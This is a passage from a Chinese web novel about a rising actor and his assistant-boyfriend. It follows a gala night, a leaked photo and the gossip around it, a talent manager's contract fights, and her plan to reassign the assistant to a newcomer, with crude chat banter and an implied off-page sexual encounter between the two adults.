小蜡:??? 小蜡:狗屎还是人屎啊? 小蜡:人不能,至少不应该。 小蜡:你不是去蜻蜓年会了,怎么能抠到狗屎? 小蜡那边一条接一条的弹垃圾话,俞悄一脸崩溃地用起泡酒洗完手,没看他上面的内容,拿起手机换了个地方坐下,直接打字。 俞悄:我闷闷的。 小蜡:理解,弄一手屎搁我也郁闷。 小蜡:我有个朋友有次约到个牛逼老哥,抠出金针菇来了。 俞悄:他火了我明明应该高兴才对。 小蜡那头的“正在输入中”中断了,俞悄等了半天,等到手机都熄屏了小蜡也没说话。 也是,人忙着甜蜜跨年呢,肯定又觉得自己矫情了,懒得接收负面情绪。 俞悄把眼压在膝盖上,琢磨着是直接回家还是等典礼结束,手机又震了一下。 叶幸司:在哪。 第73章 就这么两个字,俞悄的鼻腔一下就酸了。 与酸楚伴随而来的是难以言喻的心安,俞悄近乎于认命般感受着这两种缠绕的情绪,心想根本逃不过。 这种被对方一句话就影响情绪的状态,他最抗拒最不想要的状态,根本避无可避。 俞悄给叶幸司打字:我在江边玩呢,会场人太多了。 叶幸司没回,不知道现场进行到什么项目了,俞悄也没挪屁股。 他不想回去也不想看,就坐在江边愣着神胡思乱想:有时候人设真的蛮重要的。 跟周行东在一起,包括暗恋他的那个阶段,周行东一条消息回得不及时,俞悄能从他正背着自己在跟别人热聊,联想到周行东过马路被车撞死了。 失联超过三个小时,他就要把头像换成抑郁黑白风,然后去搜几句伤感文案甄选发表。 连文案都会根据不同心境,仔细斟酌是走破碎伤感路线,还是抽象伤感路线。 有次刚发完,他上铺的室友突然垂下脑袋嘶吼:“悄儿你到底喜欢谁,哥们儿去帮你说行吗?你别发这些东西了。” 但是对于叶幸司,俞悄就无比宽容。 唯一的原因大概就是从刚认识的时候起,叶幸司就搞那不爱搭理人的死人设,发消息上来就是一个问号,连超过五个字都费劲,常年对助理已读不回职场霸凌。 所以自己习惯了。 他甚至有点庆幸,与叶幸司是从最冷漠的状态开始相处。 否则如果以前天天消息不断,现在叶幸司火了,发一句消息就等不来回复,落差感真是能要了悄命。 看来感情的事也是由俭入奢易,由奢入俭难。 现在的俞悄虽然无法避免心情的起伏,但起码能把自己的情绪都梳理明白,不再稀里糊涂的伤春悲秋。 盯着熄屏的手机不知道发了多久的呆,俞悄点开屏幕看眼时间,八点五十三。 等到九点吧,再等七分钟。 七分钟以内,如果叶幸司回消息,他就在这等到典礼结束。 如果没消息…… “不冷吗。” 叶幸司的声音出现在身后。 俞悄猛地回头,动作幅度太大,从斜坡上往下出溜了一段,差点把酒瓶子带倒。 叶幸司抄着大衣口袋站在身后,为晚会搭配的穿搭时髦值过高,江风扬起精心打理过的头发,他看起来像是从高端时尚杂志里走下来的假人。 “你怎么出来了?”俞悄愣愣地问。 “想你了。”叶幸司说,“感觉你心情不好。” 他上前一步,把俞悄从地上拉起来,捏捏他的手指尖。 “冰凉。”叶幸司把俞悄的手塞进自己大衣兜里,“换个地方坐?品牌方的衣服,坐一屁股草根要赔钱。” “还有干狗屎。”俞悄吸溜一下鼻子。 “你怎么知道?”叶幸司问。 “我抠着了。” 叶幸司笑了下,拎着俞悄的手腕,又把他的手从兜里拿出去。 “洗干净了,你别这么直接行不行?” 俞悄笑得不行,笑着笑着,鼻根就又被酸水充满了。 “感觉我心情不好就来找我?最喜欢的镜头都不要了?” “你没说在江边,我就不出来了。” 叶幸司把围巾摘下来绕在俞悄脖子上。 “这几天就感觉你不开心,本来想等今晚忙完问你,结果人没了,说在江边坐着,吓不吓人?嗯?” 叶幸司说话的节奏与他的性格一样,很沉很稳,哪怕最后那句“嗯?”满含故意勾引的嫌疑,依然让俞悄心甘情愿地着迷。 “我就是嫌里面人多,闹哄哄的,想出来自己呆一会儿。” 俞悄埋着头解释,叶幸司对这个说法显然并不信服。 “以前没见你嫌闹。” 围巾也是品牌方借来的,华而不实的搭配款,崭新的毛料味儿与叶幸司的香水气味相融合,被江风吹得鲜明又强烈。 俞悄把下巴埋得很低,偷偷呼吸几下,心头软成了一滩泥。 “想亲嘴了。”他小声说。 叶幸司轻轻一抬眉:“现在?” 俞悄鬼祟地环顾四周,除了大桥上驶过的汽车,没有半个人影。他看向叶幸司的嘴唇,遗憾身在圈内不由人,还是老老实实拉着他往回走。 “快回去吧,早点结束,我们回家亲嘴。” 人一有期待,时间过得就快了。 俞悄还是没进会场,他把叶幸司送到门口,自己走艺人通道去停车场,坐在车里等。 小蜡的消息直到这时候才回复过来:不好意思刚爽完。 小蜡:来吧,跟哥唠唠。 小蜡:又怎么闷闷了? 俞悄正在斗地主,被小蜡的弹屏挡视线出错了牌,直接退出给他回复:不闷了,王者启动。 小蜡:来吧,我今晚的丈夫曾经是五国服。 托五国服临时丈夫的福,今晚的战局很顺,连胜七把直接给俞悄升了一个段。 第八把刚要开,俞悄点退队跑路了,因为叶幸司发消息要出来了。 纪繁西对于叶幸司的擅自离场十分火大,在车上骂了两人五分钟。 叶幸司瞅着窗外装听不见,俞悄摁着手机装听不懂。 回到公司换掉衣服,纪繁西让司机下班,她亲自开车送叶幸司回他的破楼。 “你的房子怎么样了?不行先换个房子租,”纪繁西礼服外面套着大睡衣,车开得破马张飞,“那破路都刮我底盘。” “张嘴就来。”俞悄听得直乐,“你不行把车给我,我送他回去。” “在装修了。”叶幸司说。 “你家路口的烤冷面这会儿还开门吗俞悄?”纪繁西又问。 这仨人脱离工作场合说话永远各聊各的,俞悄坐在副驾心不在焉地说不知道,注意力全在后排的叶幸司身上。 “你在这下吧,把你送家门口我还得倒车。” 纪繁西在俞悄家小区前的路口停车,示意俞悄可以下去了。 “啊?”俞悄安全带都没摘,“你先送叶幸司呗,我今天不回家了。” “你还有场呢?”纪繁西看着他。 “我今天去他家睡,我俩唠点事儿。” 俞悄揉揉鼻子,撇头避开纪繁西的目光。 车里安静了几秒钟,纪繁西轻声骂一句“就你名堂多”,别的什么也没多问,一脚油门把重新把车开出去。 俞悄朝后视镜上转眼珠子,跟叶幸司似笑非笑的目光对上,心脏“嗵”地多跳了一拍。 破楼前的路确实又窄又烂,纪繁西不愿意往里开,在路口就撵人下车。 俞悄推开车门时一阵心虚。 ——他跟家里出柜时出得光明正大,可刨掉工作身份,在自己亲老姨眼皮子底下公然和别的男人回家,还要夜不归宿…… 俞悄不信纪繁西这么精明的人不会多多琢磨,他只祈祷纪繁西什么也别问。 “俞悄。” 然而纪繁西还是开口了。 语气听起来还有点儿正经。 俞悄维持着一只脚已经踩在地上的姿势,硬着头皮转脖子:“啊。” “跑别人家住什么?”纪繁西手指在方向盘上一下下敲着,眼神锐利,“你没有自己的家吗?” “……你跟我妈真是亲姐俩儿。” 俞悄老妈也说过这句恶语,以一种十分真诚的口吻。 老纪家的女人关心起人来都跟诅咒似的。 “没什么,就是有事要聊,他以后的发展规划什么的。” 俞悄尽量让自己的语气听起来很真诚。 “你能给他规划个屁。”纪繁西冷笑一声,“挺大个人了,干什么心里有点数。” “啥啊?”俞悄继续装听不懂。 纪繁西摆摆手,把人撵下去了。 看着纪繁西的车屁股消失在视野里,俞悄心里萌生出一个念头:如果刚才直接跟纪繁西说他和叶幸司在谈恋爱,这位老姨兼纪姐,不知道会有什么反应。 但能确定的是,不管以什么身份,她都不会加以祝福。 俞悄望望身旁的叶幸司。 还是消停瞒着吧。 带着目的去别人家,还是那种目的,这感觉十分微妙。 俞悄的喉咙从踏进楼道里开始发干。 叶幸司应该和他差不多,所以直到进门前,两人都没多说话。 随着破门“吱”一声被打开,俞悄的心跳达到了身体所能承受的最大阈值。 他咽了咽喉咙,摸索着伸手想开灯,门板在身后关上,叶幸司的呼吸在下一秒扑上脖颈。 俞悄起了半脖子鸡皮疙瘩,被按在墙上,头晕目眩。 这一晚对于俞悄来说,达到了堪称银乱的程度。 他们什么都没做,又什么都做了。 叶幸司以绝对主宰者的身份,把俞悄心底最见不得光,甚至想都没想到过的念头,全对他用了个遍。 不想当人了。 俞悄在最混乱不能自控的时候,涌出这个渴望。 也不像人了。 “如果在江边的时候我一定要亲嘴,你会让我亲吗?” 筋疲力竭后,俞悄枕在叶幸司肚皮上好奇地问。 叶幸司“嗯”一声,有一下没一下地撩着俞悄的头发,两根手指夹起来一缕又放开,反复如此,像对待宠物。 “万一被拍到呢?”俞悄又问。 “你害怕。”叶幸司反问他。 俞悄诚实地点点头:“怕。” “在怕什么。” “怕喜欢你变成更困难的事。” 叶幸司拨他头发的手停了停,揉一把俞悄的脑袋,把他往上捞了捞。 “所以最近不开心,是因为我吗。” “也不是。”俞悄想了想,“因为我自己。” “嗯。”叶幸司应一声,示意他继续说下去。 “因为喜欢一个人就会变成自私鬼。”俞悄探首,在叶幸司嘴上亲了亲,“自私的人开心不起来。” “但你一找我我就好了。” “我还是想让你火。” “现在我能从心底里接受你变火,并且为你开心了。” “火起来吧,叶幸司。” 没在江边亲嘴这个理性的决定,在第二天让俞悄无比的庆幸。 因为他戴着叶幸司围巾的照片,几乎是在他们回到典礼现场的同时,就被传到了网上。 照片的源头就是俞悄昨天刚发现的那个小讨论组。 但这个八卦似乎不止让那群邪门粉兴奋——也可能叶幸司昨晚的红毯造型太出圈,一群做红毯点评的时尚博主都对他大夸特夸,导致叶幸司的话题度从一众男星中脱颖而出——俞悄身为助理戴他围巾的照片也直接闯出讨论组,在各大八卦平台传得到处都是。 没到上热门的级别,可是混迹在各大话题中,就是有种不容忽视的暗劲儿。 俞悄是从俞小雨的未读消息里看到的照片。 两人昨天折腾得太晚,好在今天叶幸司休息,俞悄一觉睡到早上十点半,打开手机看见满屏的红点恨不得直接昏迷回去。 以前的俞悄还会认真阅读,给每个人合适有礼貌的回复。 现在叶幸司越来越火,消息里几百年没见的老同学也越来越多,他已经练出了已读不回的厚脸皮,熟练地把无关紧要的消息过滤掉,只看自己想看和必须看的。 工作消息处理完,他点开俞小雨的十一条未读,那些四五十秒的语音直接拉上去,点开最上方的截图,俞悄“噔”一下从床上坐起来,明显感觉两只腰子干瘪酸胀。 “叶幸司!”他拍着枕头喊。 叶幸司也刚醒,刷着牙从卫生间出来,用眼神询问怎么了。 “这是我吧?” 俞悄欠身跪起来,把手机往叶幸司眼前支,结果起来半截屁股一阵凉风,他想起自己没穿裤子,又拽着被子坐回去。 “好吓人,什么时候拍的,为啥拍我啊?我裤子呢?” 叶幸司没看手机,先卡着俞悄的下巴亲了人一嘴泡沫,占了把便宜,才把手机接过去,边看手机边回卫生间漱口。 该说不说,俞悄上相,照片拍得还挺有感觉。 看角度和照片的清晰程度,应该是俞悄在会场门口,跟叶幸司分别时被拍到的。 低着头的侧脸,整张照片都是糊的,偏偏五官对了焦,俞悄低垂的睫毛投下朦胧的阴影,整个人显得很无害。 “好看。”叶幸司发出点评。 “是问你这个吗!”俞悄在卧室套着裤子红着脸吼。 他是真完蛋,关节酸得吱噶乱响,还能有感觉。 “会不会有影响啊?品牌方看见会不会算你违约?我看俞小雨的反应,网上应该没什么风言风语,不然我老姨该打电话来了。” 俞悄提出一连串问题,卫生间却没动静了,叶幸司一句话都没接。 “咋不理人?” 他穿好衣服走出去,叶幸司靠在卫生间门口,正对着他的手机挑眉。 叶幸司的眉毛非常好用。 俞悄一直有这种感觉。 有种五官全部报废,情绪全通过眉毛来表达,且十分传神的灵活。 比如现在,叶幸司的挑眉就饱含考察与危险。 “怎么了?我上热搜了?”俞悄紧张地问。 “你和狄一蜡每次就是聊这些东西?”叶幸司把手机抛他怀里。 俞悄手忙脚乱的接住,刚想指责叶幸司怎么偷看他聊天记录,拿好手机才发现,是小蜡又发新消息了。 小蜡:操,做猛了,腰疼。 小蜡:你俩昨晚做了没? 小蜡:我都看见照片了,戴个围巾给那群小丫头嗑死了。 小蜡:还祝你俩大做特做呢。 这些不堪入目的污言秽语上面,还有昨天小蜡那句明晃晃的“感觉叶幸司应该蛮大的”。 “不是……” 俞悄不想活了。 这他妈还不如给他挂热搜上。 他一边害臊一边怕叶幸司不高兴,但是看看叶幸司的神情,不仅没生气,反倒有些玩味。 “告诉他。”叶幸司还先开了口。 “什么?”俞悄惴惴地问。 “大不大。”他伸手刮俞悄的鼻子,“你不是用嘴量了吗。” 俞悄面红耳赤,嘴张了又张,一句话也说不出来。 叶幸司去做饭了,俞悄窝囊地挤出一句“有病吧”,反方向往卫生间逃窜。 给助理戴围巾的事,有人嗑就有人膈应,有人夸就有人骂。 骂的内容倒是很单纯,左不过说叶幸司营销人设,刻意卖腐。也有个别零星的声音怀疑他俩是不是真有事儿,但立马就被淹没了。 淹没这些声音的理由牵强得可笑,但在网上却非常有说服力:叶幸司在待播的《半地鸡毛》里演了个同性恋,这是开始营销了。 公司对于叶幸司现在十分上心,买了几个营销号,就势给叶幸司刷了一波关心助理的形象,就把这些不成规模的议论压了下去。 俞悄本来挺反感那些有点屁事就买营销的路子,这会儿用到自己身上,还是松了口气。 不过这口气送到一半,刷到一条评论又让他紧了一下。 “围巾主角和影帝是血缘亲戚,和亲人演同性剧情没人觉得很恶心吗。” 他皱皱眉,想点进评论人的主页细看,不小心碰到了刷新。 重新再拉界面,那条评论淹没进字海,无影无踪。 第74章 俞悄在各大平台输入关键字,叶幸司左槊的中英文名、围巾影帝、两人姓名的缩写,连“娱乐圈叔侄”都搜了一下,除了一堆小道破瓜,有关这二人的内容竟然一条都没搜出来。 倒是搜到几本娱乐圈背景的小说,几章下来看得他小脸通黄。 这事儿其实挺怪异的。 俞悄关掉小说继续翻网页。 娱乐圈这种连裤衩子都透风的地方,网上竟然没有他们叔侄相关的蛛丝马迹。 问题是知道这事的人也不少啊。 光俞悄认识的就有瞿承衍和纪繁西,以及他自己。左槊当着俞悄的面也没见多有顾虑,把叶幸司嘲讽得跟三孙子一样,也不怕俞悄是个大嘴巴。 那么能把网上的消息把控到这个程度,左槊肯定是下功夫了,至少是绝对不想公开出来被人议论的。 而叶幸司和左槊在《半地鸡毛》里那段吻戏,俞悄以前看剧本时也觉得别扭,叶幸司更是直言恶心,左槊也不例外,拍到那里时脸色都挺尴尬。 不过那个由方奇妙突然发疯引起的吻,确切来说是单方面的偷袭,在剧情里毫无暧昧感。 叶幸司就跟鸡啄米一样突然叨了左槊一下,还亲歪了。 他尴尬得有点挂不住表情,本以为要重拍,但黄疯子并没喊停,他说这里就是要双方既尴尬又故作镇定的感觉,这个状态很好,是对的。 演员知道怎么回事,工作人员知道怎么回事,俞悄这个助理也知道怎么回事。 可“血缘关系演同性恋剧情”这几个字在网上这么一发,给人的感觉就格外反胃。 演员乍火,自然什么话题都会凭空冒出来,粉丝也不是傻子,太过离谱的八卦也不会当真。 可那条评论字字属实。 那么如果这话题真发酵起来,俞悄感觉以叶幸司现在的热度,不管对他还是对左槊,都绝不会产生什么正面效果。 这么一分析,他立马觉得事态十分紧急,给叶幸司拨了个电话。 叶幸司不当回事,俞悄直接挂掉,又给给纪繁西打过去。 果然,纪繁西听完沉默了两秒,问俞悄:“在哪刷到的?” “抖音。” “就这一条?有回复吗?” “没有,我看到的时候就是刚刚发表,拉一下就找不着了。” 纪繁西“啊”一声,说:“没什么事,下次再看到直接发给我。” 俞悄答应下来,他也帮不上别的忙,把这事儿说给纪繁西,就感觉跟自己无关了。 刚要挂电话,纪繁西又喊他:“哎俞悄。” “怎么了。”俞悄把手机搁回耳边。 “你没跟小雨或者你朋友什么的提过吧?”纪繁西问。 “把你外甥当啥人了?”俞悄一阵无语,“我跟谁说啊?” “啊,没说就行。”纪繁西笑了,“我就问问,以前也没专门教过你。” 现在也没见你教。 俞悄在电话这头偷偷撇嘴。 别说他这个助理了,以前也没见拿叶幸司当人呢,现在有流量了爱护得跟眼珠子似的。 专门这么叮嘱,俞悄好奇心倒是起来了。 “姨,你是怎么知道的?” “我?我听左槊经纪人说的。我俩关系好。”纪繁西口吻轻松,“这事儿在左槊那个级别也不算秘密。” “不是……不是秘密你那么紧张,我以为天底下就咱五个人知道呢。” 俞悄都听乐了,想起艾浩的助理小陈跟他大聊八卦的时光。 看来在这娱乐圈想有点儿秘密,第一件事还得着防经纪人和助理。 想到小陈,俞悄的脑回路又出了个差——也不知道是忙还是这个圈子就这么现实,当时录完《塌房》,小陈跟他关系最好,直到叶幸司拍《半地鸡毛》的时候俩人还总联系。 但从叶幸司突然风头起来,小陈已经挺久没找他聊天了。 “我不是紧张他们家的秘密。” 纪繁西的话把俞悄的思路拉回来。 “这个料也是一波流量,得捏住了,等该放的时候再放,不然浪费了。” 纪繁西的语气无比自然,明明她前一分钟还叮嘱俞悄要捂住别人的秘密,可这个秘密在她口中,却像在煲一锅讲究火候的靓汤,随口又老练地教授着俞悄什么时候该下什么料,什么时候得稳住心态摁住盖。 她有多自然,俞悄就感到有多诡异,诡异到他一时间不知该接什么话好。 “你真是个生意人。” 憋了半天,俞悄挤出这么一句点评。 “经纪人本身就是生意人,”纪繁西说,“有这个觉悟,你就能做成事。” “啥好话啊?我夸你呢?”俞悄听不下去,“算了,不跟你说了。” “哎,小悄。”纪繁西又喊。 这女人平时挂电话快得像是有人拿枪抵她头,尤其是俞悄的电话。 今天却连着整了两次欲言又止的出。 “又怎么了?女强人”俞悄问。 “算了,”纪繁西不知道又在琢磨什么坏水,“回头你来公司跟你聊吧。” 她有心思拖,俞悄都没功夫听。 叶幸司接的那两部电视剧前后脚开拍,他两个剧组来回赶戏,年底各种活动又多,俞悄跟着他来回飞,直到年后那部都市剧先杀青,才稍微觉得能喘口气。 这口气还没吐匀,纪繁西又把三个剧本扔过来了。 真的是扔,她打着电话进的办公室,恨天高踩得跟俩地雷似的,把剧本往俞悄怀里一扔,坐进转椅里还在冲着电话发火。 “你别跟我扯没用的,我没什么对不起你,爱怎么曝光怎么曝,我仁至义尽,我倒要看看你能曝出什么来。养不熟的白眼狼。” 一嘟噜话她连个顿儿都没打,还附加冷笑,骂完把电话一挂,搓了把脸直接对着叶幸司和俞悄切换状态。 “一部电影两个剧,时间上没有太大重叠,紧一紧能轧得过来。” 俞悄一个冬天没过踏实,憋了满肚子的躁气,这又来了三个剧本,本来都压不住要发火了,见纪繁西气得脸发青,硬生生憋了回去。 和叶幸司对了下眼,他清清嗓子先关心纪繁西:“谁又惹你了?” “蒋雨池。” 纪繁西说着,掏出口红补妆,结果手劲儿没控制好,口红竟然直接连根断了。 她嘴一抿,反手就连壳带盖把整支口红砸进纸篓里,自己陷进转椅里,撑着脑门闭眼喘气。 这是真生气了。 俞悄不怕他亲爸亲妈发火,从小就挺怕纪繁西发火。 这老姨激恼了真上手揍孩子。 “蒋雨池又干嘛了?” 他去给纪繁西接了杯水,捋捋他老姨的背。 “那死小孩要他妈告我!” 纪繁西气得脏话都飙出来了,突然一拍桌子,吓得俞悄一个激灵缩回手。 叶幸司坐在对面沙发里,杵着下巴正在看他,被俞悄这没出息的样子逗乐了,眼帘一耷拉,用虎口挡住翘起的嘴角。 “大过年让他爸妈找过来又是求又是跪,哭得嗷嗷的说什么付不起违约金。付不起早干嘛去了?让他跟法务去聊,这会儿还打电话威胁上我了,要起诉公司合同吸血,还要挂我虐待童工。哦现在知道怕了,我接艺人的时候他他妈还在小学和泥玩呢!跟老娘玩这套。真他妈喂了狗了。” 俞悄从纪繁西的怒火里提取完有效信息,愣了半天没反应过来。 他这阵子没时间关注蒋雨池,知道他和纪繁西吵了几次,也知道前面小半年公司没给他安排活动,所有资源撤回,几乎就是雪藏。 可没想到闹到了这个地步。 他皱皱眉问:“违约金多少啊?” 纪繁西也不知道是不是在说气话,恶声恶气地开口:“一千万!” 俞悄隔着纪繁西看向叶幸司。 叶幸司一直在沙发里懒洋洋地歪着,他最近累得不轻,有点儿空闲还得背剧本,能不开口就懒得说话。 对于纪繁西说出的这些话,他连个表情都没变,看起来毫无波动。 “都让他爸妈来给你下跪了?”俞悄心里有点难受。 “谁让他爸妈来跪了?我打电话喊他们来的?”纪繁西气成这样了还抠字眼,“合同白纸黑字写明白的,他一遍遍违约,有几个粉丝真拿自己当回事了,像他这样不知天高地厚的公司都摁死一百个了!” 俞悄说不出话了。 他没办法想象蒋雨池一家人来公司下跪求情是什么场面,此刻他眼前浮现的,全是在《塌房》第一次见面,蒋雨池坐在驴车上挥手的样子。以及在机场面对粉丝的高呼,他从叶幸司身旁越过,恶劣又明媚的笑脸。 这个圈子甚至不需要三十年,三年河东,三年河西。 “行了,不说他了。” 纪繁西发泄完情绪,端起水杯抿一口。 “聊聊你后面的规划,幸司。” 叶幸司点了下头:“嗯,你说。” 纪繁西给叶幸司的规划很简单粗暴,有种不是爱演戏吗,那就给我使劲演的报复感。 “你那个《半地鸡毛》有消息应该会安排在暑假档,还有四个月,足够再接两部戏。” 纪繁西把自己的电脑转过来,上面是一整面密密麻麻的计划。 “《塌房》要拍第二期,想请你和俞悄回去。我跟他们谈了谈,不跟全程了,录一期飞行。” “还有就是,公司给你安排了一批新团队。俞悄可以把手上的工作交接一下了。” 第75章 纪繁西最后一句话说得飞快,表情也很自然,像她当时突然提出让俞悄去当两个月助理一样,自作主张且不容抵抗。 俞悄一开始都没反应过来。 他的大脑还在处理纪繁西前面的话——本来他就是带着不满来的,觉得纪繁西不能这样不停歇的给叶幸司接戏。 话还没说呢,这又安排上四个月接两部戏了。 结果还没等他酝酿好怒火,纪繁西话头一转,让他交接上工作了。 “什么?” 俞悄怀疑自己听错,都不能接受这安排。 “我被优化了?” 叶幸司对于前面的安排没表现出任何意见,也在这时候开口。 “不行。” 俞悄望过去,叶幸司的态度和纪繁西一样,两人都是一副不容商量的口吻。 纪繁西像是料到会是这个场面,很疲惫地叹了口气。 “让你交接,又不是不让你干了。” “再说你手上有什么活儿啊,”她瞟着俞悄,“不就是叶幸司的几个账号吗?” “我有活没活的,你说话能不能别大喘气啊?” 俞悄真是服了这个女的,这一波三折,一肚子气硬是给他磨漏了。 “那你说新团队什么的?” “对,新团队,流量上来了配置得跟上。” 纪繁西把电脑拽回来,这点是要好好聊。 “其实多你一个不多,我看叶幸司也是习惯你跟着了。但是我想给你安排点儿别的事。” 她这么一说,俞悄就安心了。 从纪繁西桌上摸了两颗清口糖,他坐到叶幸司旁边俩人分着吃。 “我不就管点账号,还给我安排什么?” 他故意用纪繁西刚才的话阴阳回去,但纪繁西装听不见。 “《塌房二》那边咱们会去一个新人。” 点了几下键盘,她调出一张照片,放大给俞悄看。 “你去跟他。” 屏幕上是一张稍显青涩的脸。 气质也很清秀,高瘦白净,像那种校草学霸,乍一看文质彬彬低调礼貌,但每天上学前一定会偷偷抓头发。 相较于叶幸司轮廓鲜明到带有攻击性的帅,这小哥给人的第一感觉不算特别有辨识度,,但整体瞧起来十分舒服,属于耐看的低调型。 万洋。 俞悄看他的资料,刚二十岁。 “我都快二十五了。”他突然发出感慨,“总感觉我才刚毕业,还是小孩呢,现在也能跟新人了。” “这小孩条件挺好的,人也懂事。”纪繁西着重强调“懂事”,“已经有三十万粉了。” “不是飞行嘉宾吗?”叶幸司问。 又是一段各说各的对话。 俞悄听叶幸司说话才回过神,跟着问:“对啊,不是让我们去当嘉宾吗?” “那是幸司的安排,不是你的。” 纪繁西把电脑拽回去,越看这个懂事的万洋越顺眼,靠进转椅里悠悠地舒了口气。 “你跟万洋去录《塌房二》,叶幸司做为飞行嘉宾去拍一期,你身为前助理话题自然就有了。” “还跟去玩儿一样就行,把你那个‘眼里最没活儿的助理’人设利用好。” 纪繁西条清理晰,忠于她那话题至上的运营理念,安排得头头是道。 她很满意自己的规划,冲二人搓了个响指:“三方得利。” “录完之后呢?” 叶幸司掀起眼皮盯着纪繁西,问出了俞悄正想开口的问题。 “俞悄以后也跟着他?” “录完看反响啊。”纪繁西定定地盯回去,“俞悄是跟公司签的员工合同,不是你的私人助理。我只考虑利益最大化。” “不考虑他本人的意见?”叶幸司歪歪脖子。 “我说了,他是和公司签的合同。”纪繁西向前倾身,双手在桌面上交叉拢起,“你也一样。” 叶幸司眉梢微微上扬,又不说话了。 突然安静下来的办公室,弥漫起一丝似有若无的对峙气氛。 “你别在那应激了。” 俞悄咧咧嘴,开口先安抚纪繁西。 “左一句合同右一句公司的,被蒋雨池气得看谁都要起诉你。” “真给我气着了。”纪繁西就势又一个倒仰,大翻眼仁儿,“没良心的王八羔子。” 俞悄“啧”一声:“真难听。” “你怎么说,”纪繁西假模假式地开始询问员工意见,“万洋你能接吗?” 俞悄下意识看向叶幸司。 他已经恢复了看不出情绪起伏的状态,但是俞悄已经太了解这个人了,用鼻子都能闻出他此刻不太愉快。 那天两人在超市门口的对话,依然清晰地萦绕在耳边。 “什么时候录啊?”俞悄挠挠脸,“这回总不能跟上次一样,今天通知完明天就开拍吧?” “五月。” 纪繁西把《塌房二》的拍摄计划,和万洋的个人资料一起发给俞悄。 “还有俩月,你先熟悉熟悉。” 万洋的事儿安排完,纪繁西继续聊叶幸司的后期规划。 俞悄终于插上嘴,对于她这样高密度给叶幸司接戏表达强烈不满。 但没人在意他的意见,纪繁西还拿话噎他:“不是你之前催着我给他接戏的时候了?” 叶幸司更是不拒绝,剧本谈多少,他照单全收。 俞悄黑着脸走出纪繁西的办公室。 最近只要来公司开会,他就没舒心过。 “你拍得过来吗?” 一回到车里,他就冲叶幸司瞪眼。 “我姨拿你当商品,你自己也拿自己当机器?你是要吃演技饭的,得一步步精钻,刚火起来就轧上戏了,杀鸡取卵呢?” 叶幸司看着他。 “说话!”俞悄朝他胳膊上抽一巴掌。 “现在的演艺圈你还不知道吗。有的是人用,机会不把握好就没了。” 叶幸司淡淡地开口。 “蒋雨池也是她一手捧的。” 蒋雨池的名字往外一搬,俞悄就什么话都说不出来了。 “……蒋雨池那是年龄小,不懂事。”五味杂陈地憋了半天,俞悄才又憋出一句,“你也年龄小啊?” 叶幸司牵起嘴角,话里有话:“马上就有更小的了。” 这是在点万洋呢。 想起万洋,想起叶幸司刚才在办公室的反应,俞悄的怒火中烧立马就转为美得冒泡。 “有人占有欲大爆发了。”他撑着胳膊往叶幸司身旁凑,“不想我去跟别人啊?” “明知故问。”叶幸司转开脸不看他。 被喜欢的人吃醋,当然是开心的。 俞悄又冒出一片小花。 “其实我还挺感兴趣的。”他坦诚地告诉叶幸司,“但是我想想,如果我是你,肯定会不高兴,所以有点纠结。” 叶幸司重新转过脸,像刚上车时那样,安静地看着俞悄。 “想去给那个新人做助理吗。”他问。 “不是给那个新人。”俞悄纠正他的措辞,“是对这个工作。我有点怀念跟你在《塌房》的时候。” “那就去吧。”叶幸司说。 俞悄眨眨眼,坐回座椅里。 “真的?”他这会儿看不出叶幸司的真实态度。 “嗯。”叶幸司揉一把他的头发,“喜欢就去。你不是我的附属。” 第76章 二月到五月期间,叶幸司参加的两档综艺,代言的三个广告,客串的一集轻喜剧,以及一部中高规格的杂志封面接二连三上线。 曝光率在短期内达到峰值,在拍与后续待播的作品,几乎能保证他未来两年不会出现空窗期。 《天王》带来的热度,被纪繁西接得一滴不漏。 人毕竟是人,精力有限,同时处理的事情太多,演技就要被消耗。 这是俞悄以旁观者的视角感受出来的。 不间断的轧戏宛如题海战术,叶幸司的演技被磨练得熟能生巧,曾经一个镜头NG一整个下午的情况再也没出现过。 为了演好一个角色去构思人物小传,为了一个剧情逐层揣摩人物心理、拉着俞悄反复排练看电影,他也很久没这样做过了。 根本没时间。 去年买的房子装修完了,连验收都是俞悄去的,当时叶幸司正在三百公里外的老林子里拍外景,和他的新团队。 俞悄这次没跟去。 按照原先的计划,这个时间他本来应该跟着万洋去录《塌房二》,但不知道节目组那边哪里出了问题,一杆子延迟到九月,还是待定。原先谈好的艺人当然不可能等着,《塌房二》基本等于流产。 俞悄再去跟叶幸司也可以,但这阵子他实在有点儿熬伤了,用得着他的地方也不多,干脆给自己放了个假。 不过这是俞悄对叶幸司的说法。 还有一点儿不便启齿的小九九,多少带着赌气的成分——他倒想看看叶幸司能不能适应这个高精专的新助理团队。 猛地闲下来实在无聊,于是俞悄就替叶幸司来验房了。 “看看,有没有哪里不满意的?” 他给叶幸司打了个视频,捧着手机将全屋各个角落拍给他看。 “没有的话我就找公司除醛,帮你布置软装了。我想在门口装一个小狗门铃。” “转过来。”叶幸司说。 俞悄以为他要让自己折回去,转了个身:“要再看看马桶吗?” “镜头。转过来。” 叶幸司明显无语了一下。俞悄笑着切换前摄像,把手机抬到最上镜的角度。 “对不起。转过来你能看清吗?” “嗯。”叶幸司说,“看看你。” 他坐在车里,这会儿应该是从片场回酒店,脸上还带着妆,叶幸司本身声音就比较低沉,这会儿更是低得发沙,满脸满眼掩不住的疲态。 “累成这样。”俞悄跟着皱脸,“赶紧回去休息。” “回不了,等会儿还要接夜景,台词还没背熟。”叶幸司盯着俞悄看了会儿,仰头捏捏鼻根,“今天得大夜了。” 台词还没背熟。 俞悄安慰的话到了嘴边,听见这句,硬生生压了下去。 演员到现场才背台词,这种情况对一些明星来说正常得不能再正常,但对于叶幸司,十分不正常。 俞悄是见过他背词的。 以前的叶幸司拍个洗发水广告,把两张纸当剧本研读,不止自己的词,搭档的他都背得烂熟。 “剧本是一部戏的根本。” 这是叶幸司曾经对他说过的话。 “背不住台词,拍摄的时候脑子都用来想词,还谈什么表演。” 到了片场没背下要拍的台词,曾经的叶幸司根本不允许自己出现这种情况。 “太累了?”俞悄轻声问。 “脑子不够用。”叶幸司歪歪地杵着脸,眼帘乏力地垂着,“有点儿串戏。” 俞悄沉默一会儿,说:“不串都不正常。” 他对于公司,包括对叶幸司本人,这样不要命的接戏本来就很不支持。 这会儿看叶幸司这个状态,俞悄心里一半心疼,另一半恨不得骂一句“活该”。 但现在再提这些,除了让叶幸司更累,屁用没有。 忍了又忍,俞悄还是没忍住。 “现在这样是你想当的演员吗?”他说,“想想你拍《半地鸡毛》的时候。” 叶幸司也沉默了。 他沉默着很长一阵才开口:“不一样了。” 新助理从镜头外递来咖啡,跟叶幸司聊着什么。 